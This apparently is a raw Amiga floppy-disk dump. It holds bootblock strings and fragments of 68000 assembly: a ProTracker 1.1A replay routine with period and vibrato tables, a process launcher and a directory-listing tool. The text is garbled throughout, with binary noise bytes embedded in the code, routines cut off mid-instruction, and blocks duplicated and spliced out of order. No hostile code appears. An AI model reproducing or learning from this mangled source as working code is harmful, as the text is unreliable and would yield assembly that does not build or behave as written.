DOS=p` >Test Pal<,x <f#N@Nu` >Make PalLed off<`( >This Bootblock was created with UVK< CNJg @ hpNup`dos.library2 e&set(A6) BEQ mt_funkend CLR.B n_funkoffset(A6) MOVE.L n_start(A6),D1 MOVEQ #0,D2 MOVE.W n_reallength(A6),D2 LSL.W #1,D2 ADD.L D2,D1 MOVE.W n_replen(A6),D2 LSL.L #1,D2 SUB.L D2,D1 MOVE.L n_wavestart(A6),D2 MOVEQ #0,D0 MOVE.W n_replen(A6),D0 LSL.L #1,D0 ADD.L D0,D2 CMP.L D1,D2 BLS mt_funkok MOVE.L n_loopstart(A6),D2 mt_funkok: MOVE.L D2,n_wavestart(A6) MOVE.L D2,(A5) mt_funkend: MOVEM.L (SP)+,A0/D1-D2 RTS mt_FunkTable:dc.b 0,5,6,7,8,10,11,13,16,19,22,26,32,43,6.(p*y4,128 mt_VibratoTable: dc.b 0, 24, 49, 74, 97,120,141,161 dc.b 180,197,212,224,235,244,250,253 dc.b 255,253,250,244,235,224,212,197 dc.b 180,161,141,120, 97, 74, 49, 24 mt_PeriodTable: ; Tuning 0, Normal dc.w 856,808,762,720,678,640,604,570,538,508,480,453 dc.w 428,404,381,360,339,320,302,285,269,254,240,226 dc.w 214,202,190,180,170,160,151,143,135,127,120,113 ; Tuning 1 dc.w 850,802,757,715,674,637,601,567,535,505,477,450 dc.w 425,401,379,357,337,318,300,284,268,253,239.) ~,225 dc.w 213,201,189,179,169,159,150,142,134,126,119,113 ; Tuning 2 dc.w 844,796,752,709,670,632,597,563,532,502,474,447 dc.w 422,398,376,355,335,316,298,282,266,251,237,224 dc.w 211,199,188,177,167,158,149,141,133,125,118,112 ; Tuning 3 dc.w 838,791,746,704,665,628,592,559,528,498,470,444 dc.w 419,395,373,352,332,314,296,280,264,249,235,222 dc.w 209,198,187,176,166,157,148,140,132,125,118,111 ; Tuning 4 dc.w 832,785,741,699,660,623,588,555,524,495,467,441 dc.w 416,392,370,.* Ԯ350,330,312,294,278,262,247,233,220 dc.w 208,196,185,175,165,156,147,139,131,124,117,110 ; Tuning 5 dc.w 826,779,736,694,655,619,584,551,520,491,463,437 dc.w 413,390,368,347,328,309,292,276,260,245,232,219 dc.w 206,195,184,174,164,155,146,138,130,123,116,109 ; Tuning 6 dc.w 820,774,730,689,651,614,580,547,516,487,460,434 dc.w 410,387,365,345,325,307,290,274,258,244,230,217 dc.w 205,193,183,172,163,154,145,137,129,122,115,109 ; Tuning 7 dc.w 814,768,725,684,646,610,575,543,513.+ g,484,457,431 dc.w 407,384,363,342,323,305,288,272,256,242,228,216 dc.w 204,192,181,171,161,152,144,136,128,121,114,108 ; Tuning -8 dc.w 907,856,808,762,720,678,640,604,570,538,508,480 dc.w 453,428,404,381,360,339,320,302,285,269,254,240 dc.w 226,214,202,190,180,170,160,151,143,135,127,120 ; Tuning -7 dc.w 900,850,802,757,715,675,636,601,567,535,505,477 dc.w 450,425,401,379,357,337,318,300,284,268,253,238 dc.w 225,212,200,189,179,169,159,150,142,134,126,119 ; Tuning -6 dc.w 8."y.B n_cmdlo(A6) mt_TonePortNoChange: TST.W n_wantedperiod(A6) BEQ mt_Return2 MOVEQ #0,D0 MOVE.B n_toneportspeed(A6),D0 TST.B n_toneportdirec(A6) BNE mt_TonePortaUp mt_TonePortaDown: ADD.W D0,n_period(A6) MOVE.W n_wantedperiod(A6),D0 CMP.W n_period(A6),D0 BGT mt_TonePortaSetPer MOVE.W n_wantedperiod(A6),n_period(A6) CLR.W n_wantedperiod(A6) BRA mt_TonePortaSetPer mt_TonePortaUp: SUB.W D0,n_period(A6) MOVE.W n_wantedperiod(A6),D0 CMP.W n_period(A6),D0 BLT mt_TonePortaS.#2~'etPer MOVE.W n_wantedperiod(A6),n_period(A6) CLR.W n_wantedperiod(A6) mt_TonePortaSetPer: MOVE.W n_period(A6),D2 MOVE.B n_glissfunk(A6),D0 AND.B #$0F,D0 BEQ mt_GlissSkip MOVEQ #0,D0 MOVE.B n_finetune(A6),D0 MULU #36*2,D0 LEA mt_PeriodTable(PC),A0 ADD.L D0,A0 MOVEQ #0,D0 mt_GlissLoop: CMP.W (A0,D0.W),D2 BHS mt_GlissFound ADDQ.W #2,D0 CMP.W #36*2,D0 BLO mt_GlissLoop MOVEQ #35*2,D0 mt_GlissFound: MOVE.W (A0,D0.W),D2 mt_GlissSkip: MOVE.W D2,6(A5) ; Set period RTS m.$L t_Vibrato: MOVE.B n_cmdlo(A6),D0 BEQ mt_Vibrato2 MOVE.B n_vibratocmd(A6),D2 AND.B #$0F,D0 BEQ mt_vibskip AND.B #$F0,D2 OR.B D0,D2 mt_vibskip: MOVE.B n_cmdlo(A6),D0 AND.B #$F0,D0 BEQ mt_vibskip2 AND.B #$0F,D2 OR.B D0,D2 mt_vibskip2: MOVE.B D2,n_vibratocmd(A6) mt_Vibrato2: MOVE.B n_vibratopos(A6),D0 LEA mt_VibratoTable(PC),A4 LSR.W #2,D0 AND.W #$001F,D0 MOVEQ #0,D2 MOVE.B n_wavecontrol(A6),D2 AND.B #$03,D2 BEQ mt_vib_sine LSL.B #3,D0 CMP.B #1,D2 BEQ mt_vib_rampd.%u own MOVE.B #255,D2 BRA mt_vib_set mt_vib_rampdown: TST.B n_vibratopos(A6) BPL mt_vib_rampdown2 MOVE.B #255,D2 SUB.B D0,D2 BRA mt_vib_set mt_vib_rampdown2: MOVE.B D0,D2 BRA mt_vib_set mt_vib_sine: MOVE.B 0(A4,D0.W),D2 mt_vib_set: MOVE.B n_vibratocmd(A6),D0 AND.W #15,D0 MULU D0,D2 LSR.W #7,D2 MOVE.W n_period(A6),D0 TST.B n_vibratopos(A6) BMI mt_VibratoNeg ADD.W D2,D0 BRA mt_Vibrato3 mt_VibratoNeg: SUB.W D2,D0 mt_Vibrato3: MOVE.W D0,6(A5) MOVE.B n_vibratocmd(A6),D0.&5֜ LSR.W #2,D0 AND.W #$003C,D0 ADD.B D0,n_vibratopos(A6) RTS mt_TonePlusVolSlide: BSR mt_TonePortNoChange BRA mt_VolumeSlide mt_VibratoPlusVolSlide: BSR mt_Vibrato2 BRA mt_VolumeSlide mt_Tremolo: MOVE.B n_cmdlo(A6),D0 BEQ mt_Tremolo2 MOVE.B n_tremolocmd(A6),D2 AND.B #$0F,D0 BEQ mt_treskip AND.B #$F0,D2 OR.B D0,D2 mt_treskip: MOVE.B n_cmdlo(A6),D0 AND.B #$F0,D0 BEQ mt_treskip2 AND.B #$0F,D2 OR.B D0,D2 mt_treskip2: MOVE.B D2,n_tremolocmd(A6) mt_Tremolo2: MOVE.B n.'F _tremolopos(A6),D0 LEA mt_VibratoTable(PC),A4 LSR.W #2,D0 AND.W #$001F,D0 MOVEQ #0,D2 MOVE.B n_wavecontrol(A6),D2 LSR.B #4,D2 AND.B #$03,D2 BEQ mt_tre_sine LSL.B #3,D0 CMP.B #1,D2 BEQ mt_tre_rampdown MOVE.B #255,D2 BRA mt_tre_set mt_tre_rampdown: TST.B n_vibratopos(A6) BPL mt_tre_rampdown2 MOVE.B #255,D2 SUB.B D0,D2 BRA mt_tre_set mt_tre_rampdown2: MOVE.B D0,D2 BRA mt_tre_set mt_tre_sine: MOVE.B 0(A4,D0.W),D2 mt_tre_set: MOVE.B n_tremolocmd(A6),D0 AND.W #15,D0 .(Qa MULU D0,D2 LSR.W #6,D2 MOVEQ #0,D0 MOVE.B n_volume(A6),D0 TST.B n_tremolopos(A6) BMI mt_TremoloNeg ADD.W D2,D0 BRA mt_Tremolo3 mt_TremoloNeg: SUB.W D2,D0 mt_Tremolo3: BPL mt_TremoloSkip CLR.W D0 mt_TremoloSkip: CMP.W #$40,D0 BLS mt_TremoloOk MOVE.W #$40,D0 mt_TremoloOk: MOVE.W D0,8(A5) MOVE.B n_tremolocmd(A6),D0 LSR.W #2,D0 AND.W #$003C,D0 ADD.B D0,n_tremolopos(A6) RTS mt_SampleOffset: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 BEQ mt_sononew MOVE.B D0,n_sampleoffset(.);=A6) mt_sononew: MOVE.B n_sampleoffset(A6),D0 LSL.W #7,D0 CMP.W n_length(A6),D0 BGE mt_sofskip SUB.W D0,n_length(A6) LSL.W #1,D0 ADD.L D0,n_start(A6) RTS mt_sofskip: MOVE.W #$0001,n_length(A6) RTS mt_VolumeSlide: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 LSR.B #4,D0 TST.B D0 BEQ mt_VolSlideDown mt_VolSlideUp: ADD.B D0,n_volume(A6) CMP.B #$40,n_volume(A6) BMI mt_vsuskip MOVE.B #$40,n_volume(A6) mt_vsuskip: MOVE.B n_volume(A6),D0 MOVE.W D0,8(A5) RTS mt_VolSlideDown: MOV.*Gj-EQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 mt_VolSlideDown2: SUB.B D0,n_volume(A6) BPL mt_vsdskip CLR.B n_volume(A6) mt_vsdskip: MOVE.B n_volume(A6),D0 MOVE.W D0,8(A5) RTS mt_PositionJump: MOVE.B n_cmdlo(A6),D0 SUBQ.B #1,D0 MOVE.B D0,mt_SongPos mt_pj2: CLR.B mt_PBreakPos ST mt_PosJumpFlag RTS mt_VolumeChange: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 CMP.B #$40,D0 BLS mt_VolumeOk MOVEQ #$40,D0 mt_VolumeOk: MOVE.B D0,n_volume(A6) MOVE.W D0,8(A5) RTS mt_PatternBreak:.+- MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 MOVE.L D0,D2 LSR.B #4,D0 MULU #10,D0 AND.B #$0F,D2 ADD.B D2,D0 CMP.B #63,D0 BHI mt_pj2 MOVE.B D0,mt_PBreakPos ST mt_PosJumpFlag RTS mt_SetSpeed: MOVE.B 3(A6),D0 BEQ mt_Return2 CLR.B mt_counter MOVE.B D0,mt_speed RTS mt_CheckMoreEfx: BSR mt_UpdateFunk MOVE.B 2(A6),D0 AND.B #$0F,D0 CMP.B #$9,D0 BEQ mt_SampleOffset CMP.B #$B,D0 BEQ mt_PositionJump CMP.B #$D,D0 BEQ mt_PatternBreak CMP.B #$E,D0 BEQ mt_E_Commands CMP.B #$F,D. &d\0 BEQ mt_SetSpeed CMP.B #$C,D0 BEQ mt_VolumeChange RTS mt_E_Commands: MOVE.B n_cmdlo(A6),D0 AND.B #$F0,D0 LSR.B #4,D0 BEQ mt_FilterOnOff CMP.B #1,D0 BEQ mt_FinePortaUp CMP.B #2,D0 BEQ mt_FinePortaDown CMP.B #3,D0 BEQ mt_SetGlissControl CMP.B #4,D0 BEQ mt_SetVibratoControl CMP.B #5,D0 BEQ mt_SetFineTune CMP.B #6,D0 BEQ mt_JumpLoop CMP.B #7,D0 BEQ mt_SetTremoloControl CMP.B #9,D0 BEQ mt_RetrigNote CMP.B #$A,D0 BEQ mt_VolumeFineUp CMP.B #$B,D0 BEQ mt_Volume. -^eckMoreEfx ; If no note MOVE.W 2(A6),D0 AND.W #$0FF0,D0 CMP.W #$0E50,D0 BEQ mt_DoSetFineTune MOVE.B 2(A6),D0 AND.B #$0F,D0 CMP.B #3,D0 ; TonePortamento BEQ mt_ChkTonePorta CMP.B #5,D0 BEQ mt_ChkTonePorta CMP.B #9,D0 ; Sample Offset BNE mt_SetPeriod BSR mt_CheckMoreEfx BRA mt_SetPeriod mt_DoSetFineTune: BSR mt_SetFineTune BRA mt_SetPeriod mt_ChkTonePorta: BSR mt_SetTonePorta BRA mt_CheckMoreEfx mt_SetPeriod: MOVEM.L D0-D1/A0-A1,-(SP) MOVE.W (A6),D1 AND.W #$0FFF. . `,D1 LEA mt_PeriodTable(PC),A1 MOVEQ #0,D0 MOVEQ #36,D7 mt_ftuloop: CMP.W (A1,D0.W),D1 BHS mt_ftufound ADDQ.L #2,D0 DBRA D7,mt_ftuloop mt_ftufound: MOVEQ #0,D1 MOVE.B n_finetune(A6),D1 MULU #36*2,D1 ADD.L D1,A1 MOVE.W (A1,D0.W),n_period(A6) MOVEM.L (SP)+,D0-D1/A0-A1 MOVE.W 2(A6),D0 AND.W #$0FF0,D0 CMP.W #$0ED0,D0 ; Notedelay BEQ mt_CheckMoreEfx MOVE.W n_dmabit(A6),$DFF096 BTST #2,n_wavecontrol(A6) BNE mt_vibnoc CLR.B n_vibratopos(A6) mt_vibnoc: BTST #6,n_waveco. /ntrol(A6) BNE mt_trenoc CLR.B n_tremolopos(A6) mt_trenoc: MOVE.L n_start(A6),(A5) ; Set start MOVE.W n_length(A6),4(A5) ; Set length MOVE.W n_period(A6),D0 MOVE.W D0,6(A5) ; Set period MOVE.W n_dmabit(A6),D0 OR.W D0,mt_DMACONtemp BRA mt_CheckMoreEfx mt_SetDMA: MOVE.W #300,D0 mt_WaitDMA: DBRA D0,mt_WaitDMA MOVE.W mt_DMACONtemp(PC),D0 OR.W #$8000,D0 MOVE.W D0,$DFF096 MOVE.W #300,D0 mt_WaitDMA2: DBRA D0,mt_WaitDMA2 LEA $DFF000,A5 LEA mt_chan4temp(PC),A6 MOVE.L n_l.0oopstart(A6),$D0(A5) MOVE.W n_replen(A6),$D4(A5) LEA mt_chan3temp(PC),A6 MOVE.L n_loopstart(A6),$C0(A5) MOVE.W n_replen(A6),$C4(A5) LEA mt_chan2temp(PC),A6 MOVE.L n_loopstart(A6),$B0(A5) MOVE.W n_replen(A6),$B4(A5) LEA mt_chan1temp(PC),A6 MOVE.L n_loopstart(A6),$A0(A5) MOVE.W n_replen(A6),$A4(A5) mt_dskip: ADD.W #16,mt_PatternPos MOVE.B mt_PattDelTime,D0 BEQ mt_dskc MOVE.B D0,mt_PattDelTime2 CLR.B mt_PattDelTime mt_dskc:TST.B mt_PattDelTime2 BEQ mt_dska SUBQ.B #1,mt.1?_PattDelTime2 BEQ mt_dska SUB.W #16,mt_PatternPos mt_dska:TST.B mt_PBreakFlag BEQ mt_nnpysk SF mt_PBreakFlag MOVEQ #0,D0 MOVE.B mt_PBreakPos(PC),D0 CLR.B mt_PBreakPos LSL.W #4,D0 MOVE.W D0,mt_PatternPos mt_nnpysk: CMP.W #1024,mt_PatternPos BLO mt_NoNewPosYet mt_NextPosition: MOVEQ #0,D0 MOVE.B mt_PBreakPos(PC),D0 LSL.W #4,D0 MOVE.W D0,mt_PatternPos CLR.B mt_PBreakPos CLR.B mt_PosJumpFlag ADDQ.B #1,mt_SongPos AND.B #$7F,mt_SongPos MOVE.B mt_SongPos(PC),D1 MOVE.L m.2ls!t_SongDataPtr(PC),A0 CMP.B 950(A0),D1 BLO mt_NoNewPosYet CLR.B mt_SongPos mt_NoNewPosYet: TST.B mt_PosJumpFlag BNE mt_NextPosition MOVEM.L (SP)+,D0-D4/A0-A6 RTS mt_CheckEfx: BSR mt_UpdateFunk MOVE.W n_cmd(A6),D0 AND.W #$0FFF,D0 BEQ mt_PerNop MOVE.B n_cmd(A6),D0 AND.B #$0F,D0 BEQ mt_Arpeggio CMP.B #1,D0 BEQ mt_PortaUp CMP.B #2,D0 BEQ mt_PortaDown CMP.B #3,D0 BEQ mt_TonePortamento CMP.B #4,D0 BEQ mt_Vibrato CMP.B #5,D0 BEQ mt_TonePlusVolSlide CMP.B #6,D0 BEQ .3ԅvmt_VibratoPlusVolSlide CMP.B #$E,D0 BEQ mt_E_Commands SetBack:MOVE.W n_period(A6),6(A5) CMP.B #7,D0 BEQ mt_Tremolo CMP.B #$A,D0 BEQ mt_VolumeSlide mt_Return2: RTS mt_PerNop: MOVE.W n_period(A6),6(A5) RTS mt_Arpeggio: MOVEQ #0,D0 MOVE.B mt_counter(PC),D0 DIVS #3,D0 SWAP D0 CMP.W #0,D0 BEQ mt_Arpeggio2 CMP.W #2,D0 BEQ mt_Arpeggio1 MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 LSR.B #4,D0 BRA mt_Arpeggio3 mt_Arpeggio1: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #15,D0 BRA m.4dt_Arpeggio3 mt_Arpeggio2: MOVE.W n_period(A6),D2 BRA mt_Arpeggio4 mt_Arpeggio3: ASL.W #1,D0 MOVEQ #0,D1 MOVE.B n_finetune(A6),D1 MULU #36*2,D1 LEA mt_PeriodTable(PC),A0 ADD.L D1,A0 MOVEQ #0,D1 MOVE.W n_period(A6),D1 MOVEQ #36,D7 mt_arploop: MOVE.W (A0,D0.W),D2 CMP.W (A0),D1 BHS mt_Arpeggio4 ADDQ.L #2,A0 DBRA D7,mt_arploop RTS mt_Arpeggio4: MOVE.W D2,6(A5) RTS mt_FinePortaUp: TST.B mt_counter BNE mt_Return2 MOVE.B #$0F,mt_LowMask mt_PortaUp: MOVEQ #0,D0 MOV.5b6E.B n_cmdlo(A6),D0 AND.B mt_LowMask(PC),D0 MOVE.B #$FF,mt_LowMask SUB.W D0,n_period(A6) MOVE.W n_period(A6),D0 AND.W #$0FFF,D0 CMP.W #113,D0 BPL mt_PortaUskip AND.W #$F000,n_period(A6) OR.W #113,n_period(A6) mt_PortaUskip: MOVE.W n_period(A6),D0 AND.W #$0FFF,D0 MOVE.W D0,6(A5) RTS mt_FinePortaDown: TST.B mt_counter BNE mt_Return2 MOVE.B #$0F,mt_LowMask mt_PortaDown: CLR.W D0 MOVE.B n_cmdlo(A6),D0 AND.B mt_LowMask(PC),D0 MOVE.B #$FF,mt_LowMask ADD.W D0,n_period.67t(A6) MOVE.W n_period(A6),D0 AND.W #$0FFF,D0 CMP.W #856,D0 BMI mt_PortaDskip AND.W #$F000,n_period(A6) OR.W #856,n_period(A6) mt_PortaDskip: MOVE.W n_period(A6),D0 AND.W #$0FFF,D0 MOVE.W D0,6(A5) RTS mt_SetTonePorta: MOVE.L A0,-(SP) MOVE.W (A6),D2 AND.W #$0FFF,D2 MOVEQ #0,D0 MOVE.B n_finetune(A6),D0 MULU #37*2,D0 LEA mt_PeriodTable(PC),A0 ADD.L D0,A0 MOVEQ #0,D0 mt_StpLoop: CMP.W (A0,D0.W),D2 BHS mt_StpFound ADDQ.W #2,D0 CMP.W #37*2,D0 BLO mt_StpLoop MOVEQ #3.! 5*2,D0 mt_StpFound: MOVE.B n_finetune(A6),D2 AND.B #8,D2 BEQ mt_StpGoss TST.W D0 BEQ mt_StpGoss SUBQ.W #2,D0 mt_StpGoss: MOVE.W (A0,D0.W),D2 MOVE.L (SP)+,A0 MOVE.W D2,n_wantedperiod(A6) MOVE.W n_period(A6),D0 CLR.B n_toneportdirec(A6) CMP.W D0,D2 BEQ mt_ClearTonePorta BGE mt_Return2 MOVE.B #1,n_toneportdirec(A6) RTS mt_ClearTonePorta: CLR.W n_wantedperiod(A6) RTS mt_TonePortamento: MOVE.B n_cmdlo(A6),D0 BEQ mt_TonePortNoChange MOVE.B D0,n_toneportspeed(A6) CLR&%ea Run2,a0 move.l a0,d3 subq #4,d3 lsr.l #2,d3 ;/4 (BCPL) move.l #$2000,d4 ;pile lea dosbase,a0 move.l (a0),a6 jsr -138(a6) ;CreateProc move.l #0,d0 rts section part2,code Run2: bsr.w main lea dosbase,a0 move.l (a0),a6 lea segment,a0 move.l (a0),d1 jsr -156(a6) rts name: dc.b "own.proc",0 doslib: dc.b "dos.library",0 even segment:dc.l 0 dosbase:dc.l 0 main: move.w $dff006,$dff184 btst #10,$dff016 bne.s main rts p.9(timized or well commented, ; but all the new commands in PT1.1A should work alright. ; If it's not good enough, you'll have to change it yourself. ; We'll try to code a faster routine (like NT2.0) soon... ; Changes from V1.0C playroutine: ; Vibrato depth changed to be compatible with Noisetracker 2.0. ; You'll have to double all vib. depths on old PT modules. ; mt_chanXtemp offsets n_note = 0 ; W n_cmd = 2 ; W n_cmdlo = 3 ; low B of n_cmd n_start = 4 ; L n_length = 8 ; W n_loo.:Лpstart =10 ; L n_replen =14 ; W n_period =16 ; W n_finetune =18 ; B n_volume =19 ; B n_dmabit =20 ; W n_toneportdirec =22 ; B n_toneportspeed =23 ; B n_wantedperiod =24 ; W n_vibratocmd =26 ; B n_vibratopos =27 ; B n_tremolocmd =28 ; B n_tremolopos =29 ; B n_wavecontrol =30 ; B n_glissfunk =31 ; B n_sampleoffset =32 ; B n_pattpos =33 ; B n_loopcount =34 ; B n_funkoffset =35 ; B n_wavestart =36 ; L n_reallength =40 ; W move.l $4.w,a6 jsr -132(a6) bsr.s mt_init move.l $6c,Oldirq+.;t;#2 move.l #Newirq,$6c WaitM: btst #6,$bfe001 bne.s WaitM move.l Oldirq+2,$6c bsr.L mt_end move.l $4.w,a6 jsr -138(a6) moveq #0,d0 rts Newirq: btst #5,$dff01f beq Oldirq movem.l d0-d7/a0-a6,-(a7) bsr.L mt_music movem.l (a7)+,d0-d7/a0-a6 Oldirq: jmp $000000 mt_init:LEA mt_data,A0 MOVE.L A0,mt_SongDataPtr MOVE.L A0,A1 LEA 952(A1),A1 ;patterns MOVEQ #127,D0 MOVEQ #0,D1 mtloop:MOVE.L D1,D2 SUBQ.W #1,D0 mtloop2:MOVE.B (A1)+,D1 CMP.B D2,D1 BGT mtloop DBRA D0,mtloop2 .<;ADDQ.B #1,D2 ;+gd +1 LEA mt_SampleStarts(PC),A1 ASL.L #8,D2 ASL.L #2,D2 ;nb pattern*1024 ADD.L #1084,D2 ;debut song ADD.L A0,D2 ;fin song=debut samples MOVE.L D2,A2 MOVEQ #30,D0 ;31 samples mtloop3:CLR.L (A2) MOVE.L A2,(A1)+ ;ptr samples MOVEQ #0,D1 MOVE.W 42(A0),D1 ASL.L #1,D1 ;len en W*2 ADD.L D1,A2 ;ptr next sample ADD.L #30,A0 ;next sample DBRA D0,mtloop3 OR.B #2,$BFE001 MOVE.B #6,mt_speed CLR.W $DFF0A8 CLR.W $DFF0B8 CLR.W $DFF0C8 CLR.W $D.=NTFF0D8 CLR.B mt_counter CLR.B mt_SongPos CLR.W mt_PatternPos RTS mt_end: CLR.W $DFF0A8 CLR.W $DFF0B8 CLR.W $DFF0C8 CLR.W $DFF0D8 MOVE.W #$F,$DFF096 RTS mt_music: MOVEM.L D0-D4/A0-A6,-(SP) ADDQ.B #1,mt_counter MOVE.B mt_counter(PC),D0 CMP.B mt_speed(PC),D0 BLO mt_NoNewNote CLR.B mt_counter TST.B mt_PattDelTime2 BEQ mt_GetNewNote BSR mt_NoNewAllChannels BRA mt_dskip mt_NoNewNote: BSR mt_NoNewAllChannels BRA mt_NoNewPosYet mt_NoNewAllChannels: LEA $DFF0A0,A5 LE.>5xA mt_chan1temp(PC),A6 BSR mt_CheckEfx LEA $DFF0B0,A5 LEA mt_chan2temp(PC),A6 BSR mt_CheckEfx LEA $DFF0C0,A5 LEA mt_chan3temp(PC),A6 BSR mt_CheckEfx LEA $DFF0D0,A5 LEA mt_chan4temp(PC),A6 BRA mt_CheckEfx mt_GetNewNote: MOVE.L mt_SongDataPtr(PC),A0 LEA 12(A0),A3 LEA 952(A0),A2 ;pattpo ($3b8) LEA 1084(A0),A0 ;patterndata (debut song) MOVEQ #0,D0 MOVEQ #0,D1 MOVE.B mt_SongPos(PC),D0 MOVE.B (A2,D0.W),D1 ;num pattern ds table ASL.L #8,D1 ;*$400 ASL.L #2,D1 ADD.W mt_P.?atternPos(PC),D1 CLR.W mt_DMACONtemp LEA $DFF0A0,A5 LEA mt_chan1temp(PC),A6 BSR mt_PlayVoice LEA $DFF0B0,A5 LEA mt_chan2temp(PC),A6 BSR mt_PlayVoice LEA $DFF0C0,A5 LEA mt_chan3temp(PC),A6 BSR mt_PlayVoice LEA $DFF0D0,A5 LEA mt_chan4temp(PC),A6 BSR mt_PlayVoice BRA mt_SetDMA mt_PlayVoice: TST.L (A6) BNE mt_plvskip BSR mt_PerNop mt_plvskip: MOVE.L (A0,D1.L),(A6) ADDQ.L #4,D1 MOVEQ #0,D2 MOVE.B n_cmd(A6),D2 AND.B #$F0,D2 LSR.B #4,D2 MOVE.B (A6),D0 AND.B #$F0,D. @T0 OR.B D0,D2 TST.B D2 BEQ mt_SetRegs MOVEQ #0,D3 LEA mt_SampleStarts(PC),A1 MOVE D2,D4 SUBQ.L #1,D2 ASL.L #2,D2 MULU #30,D4 MOVE.L (A1,D2.L),n_start(A6) MOVE.W (A3,D4.L),n_length(A6) MOVE.W (A3,D4.L),n_reallength(A6) MOVE.B 2(A3,D4.L),n_finetune(A6) MOVE.B 3(A3,D4.L),n_volume(A6) MOVE.W 4(A3,D4.L),D3 ; Get repeat TST.W D3 BEQ mt_NoLoop MOVE.L n_start(A6),D2 ; Get start ASL.W #1,D3 ADD.L D3,D2 ; Add repeat MOVE.L D2,n_loopstart(A6) MOVE.L D2,n_wavestart(A6) MOV. ,ϵDE.W 4(A3,D4.L),D0 ; Get repeat ADD.W 6(A3,D4.L),D0 ; Add replen MOVE.W D0,n_length(A6) MOVE.W 6(A3,D4.L),n_replen(A6) ; Save replen MOVEQ #0,D0 MOVE.B n_volume(A6),D0 MOVE.W D0,8(A5) ; Set volume BRA mt_SetRegs mt_NoLoop: MOVE.L n_start(A6),D2 ADD.L D3,D2 MOVE.L D2,n_loopstart(A6) MOVE.L D2,n_wavestart(A6) MOVE.W 6(A3,D4.L),n_replen(A6) ; Save replen MOVEQ #0,D0 MOVE.B n_volume(A6),D0 MOVE.W D0,8(A5) ; Set volume mt_SetRegs: MOVE.W (A6),D0 AND.W #$0FFF,D0 BEQ mt_Ch(q݇Gd3 ;/4 (BCPL) move.l #$2000,d4 ;pile lea dosbase,a0 move.l (a0),a6 jsr -138(a6) ;CreateProc move.l #0,d0 rts section part2,code Run2: bsr.w main move.l dosbase,a6 move.l segment,d1 jsr -156(a6) rts name: dc.b "own.proc",0 doslib: dc.b "dos.library",0 even segment:dc.l 0 dosbase:dc.l 0 main: move.w $dff006,$dff184 btst #10,$dff016 bne.s main rts I5procpC e.l #waitre,d2 bsr.s ecrire2 End: move.l $4.w,a6 move.l Dosbase,a1 jsr -414(a6) End2: move.l Fileinfo,a1 move.l #300,d0 jsr -210(a6) moveq #0,d0 rts Ret: move.l #Return,d2 move.l #1,d3 bra.s Ecrire Ecrire2:move.l d2,a0 moveq #0,d3 EcrLP: addq #1,d3 ;search end tst.b (a0)+ bne.s EcrLp subq #1,d3 Ecrire: move.l Dosbase,a6 move.l Handle,d1 jsr -48(a6) rts Conv: lea Convt-2,a0 moveq #7,d0 CConTLp:move.b #" ",(a0)+ dbf d0,CConTLp clr.l d0 clr.l d6 lea Convt-2,a0 Dy< divu #10000,d4 move.w d4,d0 bsr.s Convb swap d4 move.w d4,d0 addq.l #4,a0 bsr.s Convb rts Convb: movem.l a0/d4,-(a7) move.l #1000,d4 moveq #2,d2 ConvLp: divu d4,d0 add.b #"0",d0 tst.l d6 bne.s NoSpc cmp.b #$30,d0 bne.s NoSpc addq #1,a0 bra.s SpcPt NoSpc: moveq #1,d6 move.b d0,(a0)+ SpcPt: clr.w d0 swap d0 divu #10,d4 dbf d2,ConvLp add.b #"0",d0 tst.l d6 bne.s NoSpc2 cmp.b #$30,d0 bne.s NoSpc2 addq #1,a0 bra.s SpcPt2 NoSpc2: moveq #1,d6 move.b d0,(a0)+ 9SpcPt2: movem.l (a7)+,a0/d4 rts Dosbase:dc.l 0 Locksav:dc.l 0 Handle: dc.l 0 Fileinfo:dc.l 0 Vol: dc.b $c,$9b,"0 p","Path : ",0 Dir: dc.b " Dir ",0 waitre: dc.b $a," Press return to continue",0 Dosname:dc.b "dos.library",0 Return: dc.b $a OptaF: dc.b 0 buf: dc.b 0 dc.b " " convt: dc.b " ",0 Free: dc.b "Bytes Free",0 oran: dc.b $9b,"0;33;40m",0 norm: dc.b $9b,"0;31;40m",0 tab: dc.b $9b,"0",$45,$9b,"0",$46,$9b,"40",$43,0 lpt: dc.b $9b,"2;1",$48,$9b,$4a,0 Name: dc.b "DF0:",0 F^u9path add.l #8,a0 move.l a0,d1 move.l dosbase,a6 move.l #-2,d2 jsr -84(a6) move.l d0,locksav move.l Dosbase,a6 move.l Locksav,d1 move.l Fileinfo,d2 jsr -102(a6) ;examine Okname2: btst #10,$dff016 beq.s end move.l Dosbase,a6 move.l Locksav,d1 move.l Fileinfo,d2 jsr -108(a6) ;exnext tst.l d0 bne.L Print move.l root,d0 cmp.l locksav,d0 beq.s realend move.w #$f,$dff180 move.l dosbase,a6 move.l locksav,d1 ; jsr -210(a6) ;parent ; move.l d0,locksav move.l DosbGkase,a6 move.l Locksav,d1 move.l Fileinfo,d2 ; jsr -102(a6) ;examine move.l path,locksav bra.s okname2 realend:tst.l d7 beq.s end move.l #waitre,d2 bsr.s ecrire2 End: move.l $4.w,a6 move.l Dosbase,a1 jsr -414(a6) End2: move.l Fileinfo,a1 move.l #300,d0 jsr -210(a6) moveq #0,d0 rts Ret: move.l #Return,d2 move.l #1,d3 bra.s Ecrire Ecrire2:move.l d2,a0 moveq #0,d3 EcrLP: addq #1,d3 ;search end tst.b (a0)+ bne.s EcrLp subq #1,d3 Ecrire: move.l Dosbase,a6 move.l HaH$ # ndle,d1 jsr -48(a6) rts Conv: lea Convt-2,a0 moveq #7,d0 CConTLp:move.b #" ",(a0)+ dbf d0,CConTLp clr.l d0 clr.l d6 lea Convt-2,a0 divu #10000,d4 move.w d4,d0 bsr.s Convb swap d4 move.w d4,d0 addq.l #4,a0 bsr.s Convb rts Convb: movem.l a0/d4,-(a7) move.l #1000,d4 moveq #2,d2 ConvLp: divu d4,d0 add.b #"0",d0 tst.l d6 bne.s NoSpc cmp.b #$30,d0 bne.s NoSpc addq #1,a0 bra.s SpcPt NoSpc: moveq #1,d6 move.b d0,(a0)+ SpcPt: clr.w d0 swap d0 divu #10,d4 dbf d2IL,ConvLp add.b #"0",d0 tst.l d6 bne.s NoSpc2 cmp.b #$30,d0 bne.s NoSpc2 addq #1,a0 bra.s SpcPt2 NoSpc2: moveq #1,d6 